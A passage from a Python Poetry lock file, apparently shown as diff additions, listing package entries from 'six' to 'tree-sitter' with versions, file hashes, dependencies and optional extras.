"sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib_metadata (>=7.0.2)", "jaraco.develop (>=7.21)", "mypy (==1.14.*)", "pytest-mypy"] + +[[package]] +name = "six" +version = "1.17.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] +files = [ + {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, + {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, +] + +[[package]] +name = "smmap" +version = "5.0.2" +description = "A pure Python implementation of a sliding window memory map manager" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "smmap-5.0.2-py3-none-any.whl", hash = "sha256:b30115f0def7d7531d22a0fb6502488d879e75b260a9db4d0819cfb25403af5e"}, + {file = "smmap-5.0.2.tar.gz", hash = "sha256:26ea65a03958fa0c8a1c7e8c7a58fdc77221b8910f6be2131affade476898ad5"}, +] + +[[package]] +name = "sniffio" +version = "1.3.1" +description = "Sniff out which async library your code is running under" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, + {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, +] + +[[package]] +name = "snowballstemmer" +version = "3.0.1" +description = "This package provides 32 stemmers for 30 languages generated from Snowball algorithms." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*" +groups = ["main"] +files = [ + {file = "snowballstemmer-3.0.1-py3-none-any.whl", hash = "sha256:6cd7b3897da8d6c9ffb968a6781fa6532dce9c3618a4b127d920dab764a19064"}, + {file = "snowballstemmer-3.0.1.tar.gz", hash = "sha256:6d5eeeec8e9f84d4d56b847692bacf79bc2c8e90c7f80ca4444ff8b6f2e52895"}, +] + +[[package]] +name = "soupsieve" +version = "2.7" +description = "A modern CSS selector implementation for Beautiful Soup." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "soupsieve-2.7-py3-none-any.whl", hash = "sha256:6e60cc5c1ffaf1cebcc12e8188320b72071e922c2e897f737cadce79ad5d30c4"}, + {file = "soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a"}, +] + +[[package]] +name = "speechrecognition" +version = "3.14.3" +description = "Library for performing speech recognition, with support for several engines and APIs, online and offline." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "speechrecognition-3.14.3-py3-none-any.whl", hash = "sha256:1859fbb09ae23fa759200f5b0677307f1fb16e2c5c798f4259fcc41dd5399fe6"}, + {file = "speechrecognition-3.14.3.tar.gz", hash = "sha256:bdd2000a9897832b33095e33adfa48580787255706092e1346d1c6c36adae0a4"}, +] + +[package.dependencies] +audioop-lts = {version = "*", markers = "python_version >= \"3.13\""} +standard-aifc = {version = "*", markers = "python_version >= \"3.13\""} +typing-extensions = "*" + +[package.extras] +assemblyai = ["requests"] +audio = ["PyAudio (>=0.2.11)"] +dev = ["numpy", "pytest", "pytest-randomly", "respx"] +faster-whisper = ["faster-whisper"] +google-cloud = ["google-cloud-speech"] +groq = ["groq", "httpx (<0.28)"] +openai = ["httpx (<0.28)", "openai"] +pocketsphinx = ["pocketsphinx"] +whisper-local = ["openai-whisper", "soundfile"] + +[[package]] +name = "sphinx" +version = "8.2.3" +description = "Python documentation generator" +optional = false +python-versions = ">=3.11" +groups = ["main"] +files = [ + {file = "sphinx-8.2.3-py3-none-any.whl", hash = "sha256:4405915165f13521d875a8c29c8970800a0141c14cc5416a38feca4ea5d9b9c3"}, + {file = "sphinx-8.2.3.tar.gz", hash = "sha256:398ad29dee7f63a75888314e9424d40f52ce5a6a87ae88e7071e80af296ec348"}, +] + +[package.dependencies] +alabaster = ">=0.7.14" +babel = ">=2.13" +colorama = {version = ">=0.4.6", markers = "sys_platform == \"win32\""} +docutils = ">=0.20,<0.22" +imagesize = ">=1.3" +Jinja2 = ">=3.1" +packaging = ">=23.0" +Pygments = ">=2.17" +requests = ">=2.30.0" +roman-numerals-py = ">=1.0.0" +snowballstemmer = ">=2.2" +sphinxcontrib-applehelp = ">=1.0.7" +sphinxcontrib-devhelp = ">=1.0.6" +sphinxcontrib-htmlhelp = ">=2.0.6" +sphinxcontrib-jsmath = ">=1.0.1" +sphinxcontrib-qthelp = ">=1.0.6" +sphinxcontrib-serializinghtml = ">=1.1.9" + +[package.extras] +docs = ["sphinxcontrib-websupport"] +lint = ["betterproto (==2.0.0b6)", "mypy (==1.15.0)", "pypi-attestations (==0.0.21)", "pyright (==1.1.395)", "pytest (>=8.0)", "ruff (==0.9.9)", "sphinx-lint (>=0.9)", "types-Pillow (==10.2.0.20240822)", "types-Pygments (==2.19.0.20250219)", "types-colorama (==0.4.15.20240311)", "types-defusedxml (==0.7.0.20240218)", "types-docutils (==0.21.0.20241128)", "types-requests (==2.32.0.20241016)", "types-urllib3 (==1.26.25.14)"] +test = ["cython (>=3.0)", "defusedxml (>=0.7.1)", "pytest (>=8.0)", "pytest-xdist[psutil] (>=3.4)", "setuptools (>=70.0)", "typing_extensions (>=4.9)"] + +[[package]] +name = "sphinxcontrib-applehelp" +version = "2.0.0" +description = "sphinxcontrib-applehelp is a Sphinx extension which outputs Apple help books" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "sphinxcontrib_applehelp-2.0.0-py3-none-any.whl", hash = "sha256:4cd3f0ec4ac5dd9c17ec65e9ab272c9b867ea77425228e68ecf08d6b28ddbdb5"}, + {file = "sphinxcontrib_applehelp-2.0.0.tar.gz", hash = "sha256:2f29ef331735ce958efa4734873f084941970894c6090408b079c61b2e1c06d1"}, +] + +[package.extras] +lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] +standalone = ["Sphinx (>=5)"] +test = ["pytest"] + +[[package]] +name = "sphinxcontrib-devhelp" +version = "2.0.0" +description = "sphinxcontrib-devhelp is a sphinx extension which outputs Devhelp documents" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "sphinxcontrib_devhelp-2.0.0-py3-none-any.whl", hash = "sha256:aefb8b83854e4b0998877524d1029fd3e6879210422ee3780459e28a1f03a8a2"}, + {file = "sphinxcontrib_devhelp-2.0.0.tar.gz", hash = "sha256:411f5d96d445d1d73bb5d52133377b4248ec79db5c793ce7dbe59e074b4dd1ad"}, +] + +[package.extras] +lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] +standalone = ["Sphinx (>=5)"] +test = ["pytest"] + +[[package]] +name = "sphinxcontrib-htmlhelp" +version = "2.1.0" +description = "sphinxcontrib-htmlhelp is a sphinx extension which renders HTML help files" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "sphinxcontrib_htmlhelp-2.1.0-py3-none-any.whl", hash = "sha256:166759820b47002d22914d64a075ce08f4c46818e17cfc9470a9786b759b19f8"}, + {file = "sphinxcontrib_htmlhelp-2.1.0.tar.gz", hash = "sha256:c9e2916ace8aad64cc13a0d233ee22317f2b9025b9cf3295249fa985cc7082e9"}, +] + +[package.extras] +lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] +standalone = ["Sphinx (>=5)"] +test = ["html5lib", "pytest"] + +[[package]] +name = "sphinxcontrib-jsmath" +version = "1.0.1" +description = "A sphinx extension which renders display math in HTML via JavaScript" +optional = false +python-versions = ">=3.5" +groups = ["main"] +files = [ + {file = "sphinxcontrib-jsmath-1.0.1.tar.gz", hash = "sha256:a9925e4a4587247ed2191a22df5f6970656cb8ca2bd6284309578f2153e0c4b8"}, + {file = "sphinxcontrib_jsmath-1.0.1-py2.py3-none-any.whl", hash = "sha256:2ec2eaebfb78f3f2078e73666b1415417a116cc848b72e5172e596c871103178"}, +] + +[package.extras] +test = ["flake8", "mypy", "pytest"] + +[[package]] +name = "sphinxcontrib-qthelp" +version = "2.0.0" +description = "sphinxcontrib-qthelp is a sphinx extension which outputs QtHelp documents" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "sphinxcontrib_qthelp-2.0.0-py3-none-any.whl", hash = "sha256:b18a828cdba941ccd6ee8445dbe72ffa3ef8cbe7505d8cd1fa0d42d3f2d5f3eb"}, + {file = "sphinxcontrib_qthelp-2.0.0.tar.gz", hash = "sha256:4fe7d0ac8fc171045be623aba3e2a8f613f8682731f9153bb2e40ece16b9bbab"}, +] + +[package.extras] +lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] +standalone = ["Sphinx (>=5)"] +test = ["defusedxml (>=0.7.1)", "pytest"] + +[[package]] +name = "sphinxcontrib-serializinghtml" +version = "2.0.0" +description = "sphinxcontrib-serializinghtml is a sphinx extension which outputs \"serialized\" HTML files (json and pickle)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "sphinxcontrib_serializinghtml-2.0.0-py3-none-any.whl", hash = "sha256:6e2cb0eef194e10c27ec0023bfeb25badbbb5868244cf5bc5bdc04e4464bf331"}, + {file = "sphinxcontrib_serializinghtml-2.0.0.tar.gz", hash = "sha256:e9d912827f872c029017a53f0ef2180b327c3f7fd23c87229f7a8e8b70031d4d"}, +] + +[package.extras] +lint = ["mypy", "ruff (==0.5.5)", "types-docutils"] +standalone = ["Sphinx (>=5)"] +test = ["pytest"] + +[[package]] +name = "sse-starlette" +version = "3.0.2" +description = "SSE plugin for Starlette" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "sse_starlette-3.0.2-py3-none-any.whl", hash = "sha256:16b7cbfddbcd4eaca11f7b586f3b8a080f1afe952c15813455b162edea619e5a"}, + {file = "sse_starlette-3.0.2.tar.gz", hash = "sha256:ccd60b5765ebb3584d0de2d7a6e4f745672581de4f5005ab31c3a25d10b52b3a"}, +] + +[package.dependencies] +anyio = ">=4.7.0" + +[package.extras] +daphne = ["daphne (>=4.2.0)"] +examples = ["aiosqlite (>=0.21.0)", "fastapi (>=0.115.12)", "sqlalchemy[asyncio] (>=2.0.41)", "starlette (>=0.41.3)", "uvicorn (>=0.34.0)"] +granian = ["granian (>=2.3.1)"] +uvicorn = ["uvicorn (>=0.34.0)"] + +[[package]] +name = "stack-data" +version = "0.6.3" +description = "Extract data from python stack frames and tracebacks for informative displays" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "stack_data-0.6.3-py3-none-any.whl", hash = "sha256:d5558e0c25a4cb0853cddad3d77da9891a08cb85dd9f9f91b9f8cd66e511e695"}, + {file = "stack_data-0.6.3.tar.gz", hash = "sha256:836a778de4fec4dcd1dcd89ed8abff8a221f58308462e1c4aa2a3cf30148f0b9"}, +] + +[package.dependencies] +asttokens = ">=2.1.0" +executing = ">=1.2.0" +pure-eval = "*" + +[package.extras] +tests = ["cython", "littleutils", "pygments", "pytest", "typeguard"] + +[[package]] +name = "standard-aifc" +version = "3.13.0" +description = "Standard library aifc redistribution. \"dead battery\"." +optional = false +python-versions = "*" +groups = ["main"] +markers = "python_version >= \"3.13\"" +files = [ + {file = "standard_aifc-3.13.0-py3-none-any.whl", hash = "sha256:f7ae09cc57de1224a0dd8e3eb8f73830be7c3d0bc485de4c1f82b4a7f645ac66"}, + {file = "standard_aifc-3.13.0.tar.gz", hash = "sha256:64e249c7cb4b3daf2fdba4e95721f811bde8bdfc43ad9f936589b7bb2fae2e43"}, +] + +[package.dependencies] +audioop-lts = {version = "*", markers = "python_version >= \"3.13\""} +standard-chunk = {version = "*", markers = "python_version >= \"3.13\""} + +[[package]] +name = "standard-chunk" +version = "3.13.0" +description = "Standard library chunk redistribution. \"dead battery\"." +optional = false +python-versions = "*" +groups = ["main"] +markers = "python_version >= \"3.13\"" +files = [ + {file = "standard_chunk-3.13.0-py3-none-any.whl", hash = "sha256:17880a26c285189c644bd5bd8f8ed2bdb795d216e3293e6dbe55bbd848e2982c"}, + {file = "standard_chunk-3.13.0.tar.gz", hash = "sha256:4ac345d37d7e686d2755e01836b8d98eda0d1a3ee90375e597ae43aaf064d654"}, +] + +[[package]] +name = "starlette" +version = "0.46.2" +description = "The little ASGI library that shines." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "starlette-0.46.2-py3-none-any.whl", hash = "sha256:595633ce89f8ffa71a015caed34a5b2dc1c0cdb3f0f1fbd1e69339cf2abeec35"}, + {file = "starlette-0.46.2.tar.gz", hash = "sha256:7f7361f34eed179294600af672f565727419830b54b7b084efe44bb82d2fccd5"}, +] + +[package.dependencies] +anyio = ">=3.6.2,<5" + +[package.extras] +full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] + +[[package]] +name = "stevedore" +version = "5.4.1" +description = "Manage dynamic plugins for Python applications" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "stevedore-5.4.1-py3-none-any.whl", hash = "sha256:d10a31c7b86cba16c1f6e8d15416955fc797052351a56af15e608ad20811fcfe"}, + {file = "stevedore-5.4.1.tar.gz", hash = "sha256:3135b5ae50fe12816ef291baff420acb727fcd356106e3e9cbfa9e5985cd6f4b"}, +] + +[package.dependencies] +pbr = ">=2.0.0" + +[[package]] +name = "tenacity" +version = "9.1.2" +description = "Retry code until it succeeds" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tenacity-9.1.2-py3-none-any.whl", hash = "sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138"}, + {file = "tenacity-9.1.2.tar.gz", hash = "sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb"}, +] + +[package.extras] +doc = ["reno", "sphinx"] +test = ["pytest", "tornado (>=4.5)", "typeguard"] + +[[package]] +name = "textual" +version = "4.0.0" +description = "Modern Text User Interface framework" +optional = false +python-versions = "<4.0.0,>=3.8.1" +groups = ["main"] +files = [ + {file = "textual-4.0.0-py3-none-any.whl", hash = "sha256:214051640f890676a670aa7d29cd2a37d27cfe6b2cf866e9d5abc3b6c89c5800"}, + {file = "textual-4.0.0.tar.gz", hash = "sha256:1cab4ea3cfc0e47ae773405cdd6bc2a17ed76ff7b648379ac8017ea89c5ad28c"}, +] + +[package.dependencies] +markdown-it-py = {version = ">=2.1.0", extras = ["linkify", "plugins"]} +platformdirs = ">=3.6.0,<5" +rich = ">=13.3.3" +typing-extensions = ">=4.4.0,<5.0.0" + +[package.extras] +syntax = ["tree-sitter (>=0.23.0)", "tree-sitter-bash (>=0.23.0)", "tree-sitter-css (>=0.23.0)", "tree-sitter-go (>=0.23.0)", "tree-sitter-html (>=0.23.0)", "tree-sitter-java (>=0.23.0)", "tree-sitter-javascript (>=0.23.0)", "tree-sitter-json (>=0.24.0)", "tree-sitter-markdown (>=0.3.0)", "tree-sitter-python (>=0.23.0)", "tree-sitter-regex (>=0.24.0)", "tree-sitter-rust (>=0.23.0,<=0.23.2)", "tree-sitter-sql (>=0.3.0,<0.3.8)", "tree-sitter-toml (>=0.6.0)", "tree-sitter-xml (>=0.7.0)", "tree-sitter-yaml (>=0.6.0)"] + +[[package]] +name = "tiktoken" +version = "0.10.0" +description = "tiktoken is a fast BPE tokeniser for use with OpenAI's models" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tiktoken-0.10.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:1db7a65b196d757d18ef53193957d44549b88f373d4b87db532f04d18193b847"}, + {file = "tiktoken-0.10.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f55701461267d025597ebb2290d612fe9c5c5fbb625ebf7495c9f0f8e4c30f01"}, + {file = "tiktoken-0.10.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f83693279af9e8deac0363cbf21dc3d666807f22dcc1091f51e69e6fe6433f71"}, + {file = "tiktoken-0.10.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f973bdeb68d645f73dcce60c7795cb5c6f8b7f3dcf92c40c39ad4aee398c075"}, + {file = "tiktoken-0.10.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d5cab2a8e8974d6c9744264e94886a58b9087a39737c53fd65dbe2fe8522e719"}, + {file = "tiktoken-0.10.0-cp310-cp310-win_amd64.whl", hash = "sha256:7a49d2aedf911b68f23c9c84abce8eaf569cb02613f307cee4fb1bebd8c55ae9"}, + {file = "tiktoken-0.10.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:29f55c6b7c9a6a7ea953691c3962ee8fe4ee2f0ceb2a3fded3925acfc45e4b0a"}, + {file = "tiktoken-0.10.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f641d0735059b48252c4409d6546b6a62edeb4c4e48306499db11bbe403b872f"}, + {file = "tiktoken-0.10.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad76e03676b36c2a5e5304b428cff48eb86a033af55212d41a6ac6faec25b2ad"}, + {file = "tiktoken-0.10.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6420ecbd4dc4db3b82ca3421f50d1207d750de1a2856e6ca0544294fe58d2853"}, + {file = "tiktoken-0.10.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d2e032cd44700a9ed511c50b9f302bb9e9e77e2ebf8e2d9b8ec12ce64ebf00c6"}, + {file = "tiktoken-0.10.0-cp311-cp311-win_amd64.whl", hash = "sha256:eb520960fa1788caf033489e3b63bb675c0f321db40569b2d3ca24d7fab5ca72"}, + {file = "tiktoken-0.10.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c27021a605b2778af07f84a33fe7c74b5c960a8cfac5d2a7a1075ed592cbe4"}, + {file = "tiktoken-0.10.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:45d654f049b4f7ed617ad0c66462c15cc41e5db120f37f122d5b57ffa2aec062"}, + {file = "tiktoken-0.10.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34f73d93641b9cc73e19b18dbf9ce1baf086f1c4e18cfa36b952956843bca23c"}, + {file = "tiktoken-0.10.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4fbfc5dda624c0f85c56bbf8f2ffb42964c798fc6fc1c321a452bf31d4ba21f5"}, + {file = "tiktoken-0.10.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:853671af10636b581d632fe7b64b755301c73bc1f2ce837a8cdd9a44ab51f846"}, + {file = "tiktoken-0.10.0-cp312-cp312-win_amd64.whl", hash = "sha256:56c4e7544be63c78265c82857b9f2a4e2190ae29541fe3467708fc7aabcb1522"}, + {file = "tiktoken-0.10.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:10e779827ddb0490a415d09d95f8e7a982fd8e14f88c4c2348358f722af3c415"}, + {file = "tiktoken-0.10.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:783892cdbec0d33f0f51373d8969e059ab1244af531a52338f702131a032a116"}, + {file = "tiktoken-0.10.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:43f38d62b6a62a7c82be3770fcdc24cdf5bff3bdf718909d038b804ac774a025"}, + {file = "tiktoken-0.10.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:72d0b30e08f1e856fa76ee423a3d3f0b1bc984cb6e86a21dbd7c5eee8f67f8f5"}, + {file = "tiktoken-0.10.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa840eba09a0c1db0b436baf6cfe1ab7906f33fb663cf96f772a818bad5856a6"}, + {file = "tiktoken-0.10.0-cp313-cp313-win_amd64.whl", hash = "sha256:642b8d9f266004629ea2457aa29a9eed4f1a031fd804f8c489edbf32df7026c3"}, + {file = "tiktoken-0.10.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:28fcb8555bb3e9cc6d625385b688b9781e7eb022e76826e721ad93198920034b"}, + {file = "tiktoken-0.10.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b8e20f7da9086cb5b88eb53ef7ee2fd2db9f3b55c0bcddad51d1ad001a6fcf07"}, + {file = "tiktoken-0.10.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f795e7c451d560142c2d88d239ae9fcc11f0b4647376db625c9d4be8f16da45"}, + {file = "tiktoken-0.10.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8b3a5717679abb3e8a2097d9577e4c69b975c7fc0381d42598fa6f36f040fc3"}, + {file = "tiktoken-0.10.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b061e5035a561a18aefcd969079f1952b4caee3bb204ecfadb4bb41b81b8331b"}, + {file = "tiktoken-0.10.0-cp39-cp39-win_amd64.whl", hash = "sha256:a08250ef9b688c84a7f013fee01d587e73aaf41839bcd564105535276c55122b"}, + {file = "tiktoken-0.10.0.tar.gz", hash = "sha256:7cd88c11699b18081822e6ae1beee55e8f20ea361d73c507d33f5a89a1898f1c"}, +] + +[package.dependencies] +regex = ">=2022.1.18" +requests = ">=2.26.0" + +[package.extras] +blobfile = ["blobfile (>=2)"] + +[[package]] +name = "tokenizers" +version = "0.21.4" +description = "" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tokenizers-0.21.4-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:2ccc10a7c3bcefe0f242867dc914fc1226ee44321eb618cfe3019b5df3400133"}, + {file = "tokenizers-0.21.4-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:5e2f601a8e0cd5be5cc7506b20a79112370b9b3e9cb5f13f68ab11acd6ca7d60"}, + {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:39b376f5a1aee67b4d29032ee85511bbd1b99007ec735f7f35c8a2eb104eade5"}, + {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2107ad649e2cda4488d41dfd031469e9da3fcbfd6183e74e4958fa729ffbf9c6"}, + {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c73012da95afafdf235ba80047699df4384fdc481527448a078ffd00e45a7d9"}, + {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f23186c40395fc390d27f519679a58023f368a0aad234af145e0f39ad1212732"}, + {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cc88bb34e23a54cc42713d6d98af5f1bf79c07653d24fe984d2d695ba2c922a2"}, + {file = "tokenizers-0.21.4-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b7eabb104f46c1c50b486520555715457ae833d5aee9ff6ae853d1130506ff"}, + {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:714b05b2e1af1288bd1bc56ce496c4cebb64a20d158ee802887757791191e6e2"}, + {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:1340ff877ceedfa937544b7d79f5b7becf33a4cfb58f89b3b49927004ef66f78"}, + {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:3c1f4317576e465ac9ef0d165b247825a2a4078bcd01cba6b54b867bdf9fdd8b"}, + {file = "tokenizers-0.21.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:c212aa4e45ec0bb5274b16b6f31dd3f1c41944025c2358faaa5782c754e84c24"}, + {file = "tokenizers-0.21.4-cp39-abi3-win32.whl", hash = "sha256:6c42a930bc5f4c47f4ea775c91de47d27910881902b0f20e4990ebe045a415d0"}, + {file = "tokenizers-0.21.4-cp39-abi3-win_amd64.whl", hash = "sha256:475d807a5c3eb72c59ad9b5fcdb254f6e17f53dfcbb9903233b0dfa9c943b597"}, + {file = "tokenizers-0.21.4.tar.gz", hash = "sha256:fa23f85fbc9a02ec5c6978da172cdcbac23498c3ca9f3645c5c68740ac007880"}, +] + +[package.dependencies] +huggingface-hub = ">=0.16.4,<1.0" + +[package.extras] +dev = ["tokenizers[testing]"] +docs = ["setuptools-rust", "sphinx", "sphinx-rtd-theme"] +testing = ["black (==22.3)", "datasets", "numpy", "pytest", "requests", "ruff"] + +[[package]] +name = "tomlkit" +version = "0.13.3" +description = "Style preserving TOML library" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "tomlkit-0.13.3-py3-none-any.whl", hash = "sha256:c89c649d79ee40629a9fda55f8ace8c6a1b42deb912b2a8fd8d942ddadb606b0"}, + {file = "tomlkit-0.13.3.tar.gz", hash = "sha256:430cf247ee57df2b94ee3fbe588e71d362a941ebb545dec29b53961d61add2a1"}, +] + +[[package]] +name = "tqdm" +version = "4.67.1" +description = "Fast, Extensible Progress Meter" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, + {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] +discord = ["requests"] +notebook = ["ipywidgets (>=6)"] +slack = ["slack-sdk"] +telegram = ["requests"] + +[[package]] +name = "traitlets" +version = "5.14.3" +description = "Traitlets Python configuration system" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "traitlets-5.14.3-py3-none-any.whl", hash = "sha256:b74e89e397b1ed28cc831db7aea759ba6640cb3de13090ca145426688ff1ac4f"}, + {file = "traitlets-5.14.3.tar.gz", hash = "sha256:9ed0579d3502c94b4b3732ac120375cda96f923114522847de4b3bb98b96b6b7"}, +] + +[package.extras] +docs = ["myst-parser", "pydata-sphinx-theme", "sphinx"] +test = ["argcomplete (>=3.0.3)", "mypy (>=1.7.0)", "pre-commit", "pytest (>=7.0,<8.2)", "pytest-mock", "pytest-mypy-testing"] + +[[package]] +name = "tree-sitter" +version = "0.24.0" +description = "Python bindings to the Tree-sitter parsing library" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "tree-sitter-0.24.0.tar.gz", hash = "sha256:abd95af65ca2f4f7eca356343391ed669e764f37748b5352946f00f7fc78e734"}, + {file = "tree_sitter-0.24.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f3f00feff1fc47a8e4863561b8da8f5e023d382dd31ed3e43cd11d4cae445445"}, + {file = "tree_sitter-0.24.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f9691be48d98c49ef8f498460278884c666b44129222ed6217477dffad5d4831"}, + {file = "tree_sitter-0.24.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:098a81df9f89cf254d92c1cd0660a838593f85d7505b28249216661d87adde4a"}, + {file = "tree_sitter-0.24.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b26bf9e958da6eb7e74a081aab9d9c7d05f9baeaa830dbb67481898fd16f1f5"}, + {file = "tree_sitter-0.24.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:2a84ff87a2f2a008867a1064aba510ab3bd608e3e0cd6e8fef0379efee266c73"}, + {file = "tree_sitter-0.24.0-cp310-cp310-win_amd64.whl", hash = "sha256:c012e4c345c57a95d92ab5a890c637aaa51ab3b7ff25ed7069834b1087361c95"}, + {file = "tree_sitter-0.24.0-cp310-cp310-win_arm64.whl", hash = "sha256:033506c1bc2ba7bd559b23a6bdbeaf1127cee3c68a094b82396718596dfe98bc"}, + {file = "tree_sitter-0.24.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:de0fb7c18c6068cacff46250c0a0473e8fc74d673e3e86555f131c2c1346fb13"}, + {file = "tree_sitter-0.24.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a7c9c89666dea2ce2b2bf98e75f429d2876c569fab966afefdcd71974c6d8538"}, + {file = "tree_sitter-0.24.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 